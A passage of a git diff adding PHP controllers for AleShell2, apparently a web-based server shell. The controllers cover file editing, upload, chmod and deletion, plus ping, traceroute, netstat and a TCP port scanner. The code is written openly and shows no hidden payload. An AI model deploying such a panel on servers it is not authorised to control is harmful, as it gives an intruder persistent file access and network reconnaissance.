||||
{
|
||||
/**
|
||||
* Show editor
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$file = $request->get('file');
|
||||
$content = '';
|
||||
|
||||
if ($file && is_file($file) && $this->isPathAllowed($file)) {
|
||||
$maxSize = $this->config['limits']['max_file_size'] ?? 50 * 1024 * 1024;
|
||||
|
||||
if (filesize($file) <= $maxSize) {
|
||||
$content = file_get_contents($file);
|
||||
}
|
||||
}
|
||||
|
||||
$this->render($response, 'modules.editor', [
|
||||
'currentModule' => 'editor',
|
||||
'pageTitle' => 'Code Editor - AleShell2',
|
||||
'currentFile' => $file,
|
||||
'content' => $content,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Save file
|
||||
*/
|
||||
public function save(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
$content = $request->post('content', '');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'File path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
// Create directory if it doesn't exist
|
||||
$dir = dirname($path);
|
||||
if (!is_dir($dir)) {
|
||||
mkdir($dir, 0755, true);
|
||||
}
|
||||
|
||||
$written = file_put_contents($path, $content);
|
||||
|
||||
if ($written === false) {
|
||||
throw new \Exception('Failed to write file');
|
||||
}
|
||||
|
||||
$this->success($response, [
|
||||
'path' => $path,
|
||||
'size' => $written,
|
||||
], 'File saved successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to save: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
617
src/Modules/Files/FilesController.php
Archivo normal
617
src/Modules/Files/FilesController.php
Archivo normal
@@ -0,0 +1,617 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Files Controller
|
||||
*
|
||||
* Handles file manager module.
|
||||
*
|
||||
* @package AleShell2\Modules\Files
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Files;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class FilesController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show file manager
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->get('path', getcwd());
|
||||
|
||||
$this->render($response, 'modules.files', [
|
||||
'currentModule' => 'files',
|
||||
'pageTitle' => 'File Manager - AleShell2',
|
||||
'currentPath' => realpath($path) ?: getcwd(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* List directory contents
|
||||
*/
|
||||
public function list(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->post('path', getcwd());
|
||||
$showHidden = (bool)$request->post('hidden', false);
|
||||
$sortBy = $request->post('sort', 'name');
|
||||
$sortOrder = $request->post('order', 'asc');
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied to this path', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_dir($path)) {
|
||||
$this->error($response, 'Path is not a directory');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$files = $this->scanDirectory($path, $showHidden);
|
||||
$files = $this->sortFiles($files, $sortBy, $sortOrder);
|
||||
|
||||
$this->success($response, [
|
||||
'path' => realpath($path),
|
||||
'parent' => dirname($path),
|
||||
'files' => $files,
|
||||
]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to list directory: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Read file contents
|
||||
*/
|
||||
public function read(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->post('path');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_file($path)) {
|
||||
$this->error($response, 'File not found');
|
||||
return;
|
||||
}
|
||||
|
||||
$maxSize = $this->config['limits']['max_file_size'] ?? 50 * 1024 * 1024;
|
||||
$size = filesize($path);
|
||||
|
||||
if ($size > $maxSize) {
|
||||
$this->error($response, 'File is too large to read');
|
||||
return;
|
||||
}
|
||||
|
||||
$content = file_get_contents($path);
|
||||
$isBinary = $this->isBinary($content);
|
||||
|
||||
$this->success($response, [
|
||||
'path' => $path,
|
||||
'name' => basename($path),
|
||||
'size' => $size,
|
||||
'content' => $isBinary ? base64_encode($content) : $content,
|
||||
'binary' => $isBinary,
|
||||
'mime' => mime_content_type($path) ?: 'application/octet-stream',
|
||||
'modified' => filemtime($path),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Write file contents
|
||||
*/
|
||||
public function write(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
$content = $request->post('content', '');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$written = file_put_contents($path, $content);
|
||||
|
||||
if ($written === false) {
|
||||
throw new \Exception('Failed to write file');
|
||||
}
|
||||
|
||||
$this->success($response, [
|
||||
'path' => $path,
|
||||
'size' => $written,
|
||||
], 'File saved successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to save file: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete file or directory
|
||||
*/
|
||||
public function delete(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!file_exists($path)) {
|
||||
$this->error($response, 'File not found');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (is_dir($path)) {
|
||||
$this->deleteDirectory($path);
|
||||
} else {
|
||||
unlink($path);
|
||||
}
|
||||
|
||||
$this->success($response, null, 'Deleted successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to delete: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create file
|
||||
*/
|
||||
public function create(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
$content = $request->post('content', '');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (file_exists($path)) {
|
||||
$this->error($response, 'File already exists');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
file_put_contents($path, $content);
|
||||
$this->success($response, ['path' => $path], 'File created successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to create file: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create directory
|
||||
*/
|
||||
public function mkdir(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (file_exists($path)) {
|
||||
$this->error($response, 'Directory already exists');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
mkdir($path, 0755, true);
|
||||
$this->success($response, ['path' => $path], 'Directory created successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to create directory: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Rename file or directory
|
||||
*/
|
||||
public function rename(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$oldPath = $request->post('old_path');
|
||||
$newPath = $request->post('new_path');
|
||||
|
||||
if (!$oldPath || !$newPath) {
|
||||
$this->error($response, 'Both paths are required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($oldPath) || !$this->isPathAllowed($newPath)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
rename($oldPath, $newPath);
|
||||
$this->success($response, ['path' => $newPath], 'Renamed successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to rename: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Copy file or directory
|
||||
*/
|
||||
public function copy(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$source = $request->post('source');
|
||||
$destination = $request->post('destination');
|
||||
|
||||
if (!$source || !$destination) {
|
||||
$this->error($response, 'Both paths are required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($source) || !$this->isPathAllowed($destination)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (is_dir($source)) {
|
||||
$this->copyDirectory($source, $destination);
|
||||
} else {
|
||||
copy($source, $destination);
|
||||
}
|
||||
|
||||
$this->success($response, ['path' => $destination], 'Copied successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to copy: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Move file or directory
|
||||
*/
|
||||
public function move(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$source = $request->post('source');
|
||||
$destination = $request->post('destination');
|
||||
|
||||
if (!$source || !$destination) {
|
||||
$this->error($response, 'Both paths are required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($source) || !$this->isPathAllowed($destination)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
rename($source, $destination);
|
||||
$this->success($response, ['path' => $destination], 'Moved successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to move: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Change file permissions
|
||||
*/
|
||||
public function chmod(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$path = $request->post('path');
|
||||
$mode = $request->post('mode');
|
||||
|
||||
if (!$path || !$mode) {
|
||||
$this->error($response, 'Path and mode are required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$permissions = octdec($mode);
|
||||
chmod($path, $permissions);
|
||||
$this->success($response, null, 'Permissions changed successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to change permissions: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Upload file
|
||||
*/
|
||||
public function upload(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$destination = $request->post('path', getcwd());
|
||||
$file = $request->file('file');
|
||||
|
||||
if (!$file) {
|
||||
$this->error($response, 'No file uploaded');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($destination)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
$maxSize = $this->config['limits']['max_upload_size'] ?? 100 * 1024 * 1024;
|
||||
|
||||
if ($file['size'] > $maxSize) {
|
||||
$this->error($response, 'File is too large');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$targetPath = rtrim($destination, '/') . '/' . basename($file['name']);
|
||||
move_uploaded_file($file['tmp_name'], $targetPath);
|
||||
|
||||
$this->success($response, [
|
||||
'path' => $targetPath,
|
||||
'size' => $file['size'],
|
||||
], 'File uploaded successfully');
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to upload: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Download file
|
||||
*/
|
||||
public function download(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->get('path');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_file($path)) {
|
||||
$this->error($response, 'File not found', 404);
|
||||
return;
|
||||
}
|
||||
|
||||
$response->download($path);
|
||||
}
|
||||
|
||||
/**
|
||||
* Search files
|
||||
*/
|
||||
public function search(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->post('path', getcwd());
|
||||
$query = $request->post('query', '');
|
||||
|
||||
if (!$this->isPathAllowed($path)) {
|
||||
$this->error($response, 'Access denied', 403);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$results = $this->searchFiles($path, $query);
|
||||
$this->success($response, ['results' => $results]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Search failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Scan directory
|
||||
*/
|
||||
private function scanDirectory(string $path, bool $showHidden = false): array
|
||||
{
|
||||
$files = [];
|
||||
$items = scandir($path);
|
||||
|
||||
if ($items === false) {
|
||||
throw new \Exception('Cannot read directory');
|
||||
}
|
||||
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.') continue;
|
||||
|
||||
if (!$showHidden && $item[0] === '.' && $item !== '..') continue;
|
||||
|
||||
$fullPath = rtrim($path, '/') . '/' . $item;
|
||||
$isDir = is_dir($fullPath);
|
||||
|
||||
$files[] = [
|
||||
'name' => $item,
|
||||
'path' => $fullPath,
|
||||
'is_directory' => $isDir,
|
||||
'size' => $isDir ? 0 : (filesize($fullPath) ?: 0),
|
||||
'modified' => filemtime($fullPath) ?: 0,
|
||||
'permissions' => substr(sprintf('%o', fileperms($fullPath)), -4),
|
||||
'readable' => is_readable($fullPath),
|
||||
'writable' => is_writable($fullPath),
|
||||
'owner' => function_exists('posix_getpwuid') ? (posix_getpwuid(fileowner($fullPath))['name'] ?? 'unknown') : 'unknown',
|
||||
];
|
||||
}
|
||||
|
||||
return $files;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sort files
|
||||
*/
|
||||
private function sortFiles(array $files, string $sortBy, string $sortOrder): array
|
||||
{
|
||||
usort($files, function ($a, $b) use ($sortBy, $sortOrder) {
|
||||
// Directories first
|
||||
if ($a['is_directory'] !== $b['is_directory']) {
|
||||
return $a['is_directory'] ? -1 : 1;
|
||||
}
|
||||
|
||||
$result = match ($sortBy) {
|
||||
'size' => $a['size'] <=> $b['size'],
|
||||
'modified' => $a['modified'] <=> $b['modified'],
|
||||
default => strcasecmp($a['name'], $b['name']),
|
||||
};
|
||||
|
||||
return $sortOrder === 'desc' ? -$result : $result;
|
||||
});
|
||||
|
||||
return $files;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if content is binary
|
||||
*/
|
||||
private function isBinary(string $content): bool
|
||||
{
|
||||
return preg_match('~[^\x20-\x7E\t\r\n]~', substr($content, 0, 8192)) === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete directory recursively
|
||||
*/
|
||||
private function deleteDirectory(string $path): void
|
||||
{
|
||||
$items = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($path, \RecursiveDirectoryIterator::SKIP_DOTS),
|
||||
\RecursiveIteratorIterator::CHILD_FIRST
|
||||
);
|
||||
|
||||
foreach ($items as $item) {
|
||||
if ($item->isDir()) {
|
||||
rmdir($item->getRealPath());
|
||||
} else {
|
||||
unlink($item->getRealPath());
|
||||
}
|
||||
}
|
||||
|
||||
rmdir($path);
|
||||
}
|
||||
|
||||
/**
|
||||
* Copy directory recursively
|
||||
*/
|
||||
private function copyDirectory(string $source, string $destination): void
|
||||
{
|
||||
if (!is_dir($destination)) {
|
||||
mkdir($destination, 0755, true);
|
||||
}
|
||||
|
||||
$items = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($source, \RecursiveDirectoryIterator::SKIP_DOTS),
|
||||
\RecursiveIteratorIterator::SELF_FIRST
|
||||
);
|
||||
|
||||
foreach ($items as $item) {
|
||||
$target = $destination . '/' . $items->getSubPathname();
|
||||
|
||||
if ($item->isDir()) {
|
||||
if (!is_dir($target)) {
|
||||
mkdir($target, 0755, true);
|
||||
}
|
||||
} else {
|
||||
copy($item->getRealPath(), $target);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Search files recursively
|
||||
*/
|
||||
private function searchFiles(string $path, string $query, int $maxResults = 100): array
|
||||
{
|
||||
$results = [];
|
||||
$pattern = '/' . preg_quote($query, '/') . '/i';
|
||||
|
||||
$iterator = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($path, \RecursiveDirectoryIterator::SKIP_DOTS),
|
||||
\RecursiveIteratorIterator::SELF_FIRST
|
||||
);
|
||||
|
||||
foreach ($iterator as $item) {
|
||||
if (count($results) >= $maxResults) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (preg_match($pattern, $item->getFilename())) {
|
||||
$results[] = [
|
||||
'name' => $item->getFilename(),
|
||||
'path' => $item->getRealPath(),
|
||||
'is_directory' => $item->isDir(),
|
||||
'size' => $item->isDir() ? 0 : $item->getSize(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $results;
|
||||
}
|
||||
}
|
||||
362
src/Modules/Network/NetworkController.php
Archivo normal
362
src/Modules/Network/NetworkController.php
Archivo normal
@@ -0,0 +1,362 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Network Controller
|
||||
*
|
||||
* Handles network tools module.
|
||||
*
|
||||
* @package AleShell2\Modules\Network
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Network;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class NetworkController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show network tools
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->render($response, 'modules.network', [
|
||||
'currentModule' => 'network',
|
||||
'pageTitle' => 'Network Tools - AleShell2',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get network connections
|
||||
*/
|
||||
public function connections(Request $request, Response $response, array $params): void
|
||||
{
|
||||
try {
|
||||
$connections = $this->getNetworkConnections();
|
||||
$this->success($response, ['connections' => $connections]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to get connections: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Ping a host
|
||||
*/
|
||||
public function ping(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$host = $request->post('host');
|
||||
$count = min((int)$request->post('count', 4), 10); // Max 10 pings
|
||||
|
||||
if (!$host) {
|
||||
$this->error($response, 'Host is required');
|
||||
return;
|
||||
}
|
||||
|
||||
// Validate host
|
||||
if (!$this->isValidHost($host)) {
|
||||
$this->error($response, 'Invalid host');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$output = $this->executePing($host, $count);
|
||||
$this->success($response, ['output' => $output]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Ping failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Traceroute to host
|
||||
*/
|
||||
public function traceroute(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$host = $request->post('host');
|
||||
$maxHops = min((int)$request->post('max_hops', 30), 30);
|
||||
|
||||
if (!$host) {
|
||||
$this->error($response, 'Host is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isValidHost($host)) {
|
||||
$this->error($response, 'Invalid host');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$output = $this->executeTraceroute($host, $maxHops);
|
||||
$this->success($response, ['output' => $output]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Traceroute failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Port scan
|
||||
*/
|
||||
public function portscan(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$host = $request->post('host');
|
||||
$ports = $request->post('ports', '1-1000');
|
||||
|
||||
if (!$host) {
|
||||
$this->error($response, 'Host is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$this->isValidHost($host)) {
|
||||
$this->error($response, 'Invalid host');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$results = $this->executePortScan($host, $ports);
|
||||
$this->success($response, $results);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Port scan failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get network connections
|
||||
*/
|
||||
private function getNetworkConnections(): array
|
||||
{
|
||||
$connections = [];
|
||||
|
||||
// Try netstat
|
||||
$output = shell_exec('netstat -tuln 2>/dev/null');
|
||||
|
||||
if (!$output) {
|
||||
// Try ss command as fallback
|
||||
$output = shell_exec('ss -tuln 2>/dev/null');
|
||||
}
|
||||
|
||||
if (!$output) {
|
||||
return $connections;
|
||||
}
|
||||
|
||||
$lines = explode("\n", trim($output));
|
||||
array_shift($lines); // Remove header
|
||||
|
||||
foreach ($lines as $line) {
|
||||
if (empty(trim($line))) continue;
|
||||
|
||||
// Skip additional header line in netstat
|
||||
if (strpos($line, 'Proto') !== false || strpos($line, 'Netid') !== false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$parts = preg_split('/\s+/', trim($line));
|
||||
|
||||
if (count($parts) >= 4) {
|
||||
$proto = $parts[0];
|
||||
$local = $parts[3] ?? '';
|
||||
$foreign = $parts[4] ?? '*:*';
|
||||
$state = $parts[5] ?? 'LISTEN';
|
||||
|
||||
// Parse local address
|
||||
$localParts = explode(':', $local);
|
||||
$localPort = end($localParts);
|
||||
$localAddr = implode(':', array_slice($localParts, 0, -1)) ?: '*';
|
||||
|
||||
$connections[] = [
|
||||
'protocol' => strtoupper($proto),
|
||||
'local_address' => $localAddr,
|
||||
'local_port' => $localPort,
|
||||
'foreign_address' => $foreign,
|
||||
'state' => $state,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $connections;
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute ping command
|
||||
*/
|
||||
private function executePing(string $host, int $count): string
|
||||
{
|
||||
$host = escapeshellarg($host);
|
||||
$count = (int)$count;
|
||||
|
||||
// Detect OS and use appropriate ping syntax
|
||||
if (PHP_OS_FAMILY === 'Windows') {
|
||||
$cmd = "ping -n {$count} {$host}";
|
||||
} else {
|
||||
$cmd = "ping -c {$count} -W 2 {$host}";
|
||||
}
|
||||
|
||||
$output = shell_exec($cmd . ' 2>&1');
|
||||
|
||||
return $output ?: 'No output from ping command';
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute traceroute command
|
||||
*/
|
||||
private function executeTraceroute(string $host, int $maxHops): string
|
||||
{
|
||||
$host = escapeshellarg($host);
|
||||
$maxHops = (int)$maxHops;
|
||||
|
||||
// Try traceroute first, then tracepath
|
||||
if (PHP_OS_FAMILY === 'Windows') {
|
||||
$cmd = "tracert -h {$maxHops} {$host}";
|
||||
} else {
|
||||
// Check if traceroute exists
|
||||
$traceroute = shell_exec('which traceroute 2>/dev/null');
|
||||
if ($traceroute) {
|
||||
$cmd = "traceroute -m {$maxHops} -w 2 {$host}";
|
||||
} else {
|
||||
// Fall back to tracepath
|
||||
$cmd = "tracepath {$host}";
|
||||
}
|
||||
}
|
||||
|
||||
$output = shell_exec($cmd . ' 2>&1');
|
||||
|
||||
return $output ?: 'No output from traceroute command';
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute port scan
|
||||
*/
|
||||
private function executePortScan(string $host, string $portsArg): array
|
||||
{
|
||||
$ports = $this->parsePorts($portsArg);
|
||||
|
||||
if (count($ports) > 100) {
|
||||
$ports = array_slice($ports, 0, 100);
|
||||
}
|
||||
|
||||
$openPorts = [];
|
||||
$closedCount = 0;
|
||||
|
||||
$timeout = 1; // 1 second timeout per port
|
||||
|
||||
foreach ($ports as $port) {
|
||||
$port = (int)$port;
|
||||
|
||||
if ($port < 1 || $port > 65535) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$connection = @fsockopen($host, $port, $errno, $errstr, $timeout);
|
||||
|
||||
if ($connection) {
|
||||
fclose($connection);
|
||||
$openPorts[] = [
|
||||
'port' => $port,
|
||||
'service' => $this->getServiceName($port),
|
||||
'status' => 'open',
|
||||
];
|
||||
} else {
|
||||
$closedCount++;
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'host' => $host,
|
||||
'open_ports' => $openPorts,
|
||||
'scanned_count' => count($ports),
|
||||
'open_count' => count($openPorts),
|
||||
'closed_count' => $closedCount,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse port range
|
||||
*/
|
||||
private function parsePorts(string $portsArg): array
|
||||
{
|
||||
$ports = [];
|
||||
$parts = explode(',', $portsArg);
|
||||
|
||||
foreach ($parts as $part) {
|
||||
$part = trim($part);
|
||||
|
||||
if (strpos($part, '-') !== false) {
|
||||
// Range
|
||||
[$start, $end] = explode('-', $part);
|
||||
$start = (int)$start;
|
||||
$end = (int)$end;
|
||||
|
||||
for ($i = $start; $i <= $end && $i <= 65535; $i++) {
|
||||
$ports[] = $i;
|
||||
}
|
||||
} else {
|
||||
// Single port
|
||||
$ports[] = (int)$part;
|
||||
}
|
||||
}
|
||||
|
||||
return array_unique($ports);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get service name for common ports
|
||||
*/
|
||||
private function getServiceName(int $port): string
|
||||
{
|
||||
$services = [
|
||||
21 => 'FTP',
|
||||
22 => 'SSH',
|
||||
23 => 'Telnet',
|
||||
25 => 'SMTP',
|
||||
53 => 'DNS',
|
||||
80 => 'HTTP',
|
||||
110 => 'POP3',
|
||||
143 => 'IMAP',
|
||||
443 => 'HTTPS',
|
||||
465 => 'SMTPS',
|
||||
587 => 'SMTP/TLS',
|
||||
993 => 'IMAPS',
|
||||
995 => 'POP3S',
|
||||
3306 => 'MySQL',
|
||||
3389 => 'RDP',
|
||||
5432 => 'PostgreSQL',
|
||||
5900 => 'VNC',
|
||||
6379 => 'Redis',
|
||||
8080 => 'HTTP-Alt',
|
||||
8443 => 'HTTPS-Alt',
|
||||
27017 => 'MongoDB',
|
||||
];
|
||||
|
||||
return $services[$port] ?? 'Unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate host
|
||||
*/
|
||||
private function isValidHost(string $host): bool
|
||||
{
|
||||
// Check if it's a valid IP
|
||||
if (filter_var($host, FILTER_VALIDATE_IP)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check if it's a valid hostname
|
||||
if (preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/', $host)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
279
src/Modules/Processes/ProcessesController.php
Archivo normal
279
src/Modules/Processes/ProcessesController.php
Archivo normal
@@ -0,0 +1,279 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Processes Controller
|
||||
*
|
||||
* Handles process manager module.
|
||||
*
|
||||
* @package AleShell2\Modules\Processes
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Processes;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class ProcessesController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show process manager
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->render($response, 'modules.processes', [
|
||||
'currentModule' => 'processes',
|
||||
'pageTitle' => 'Process Manager - AleShell2',
|
||||
]);
|
||||
}
|
||||
|
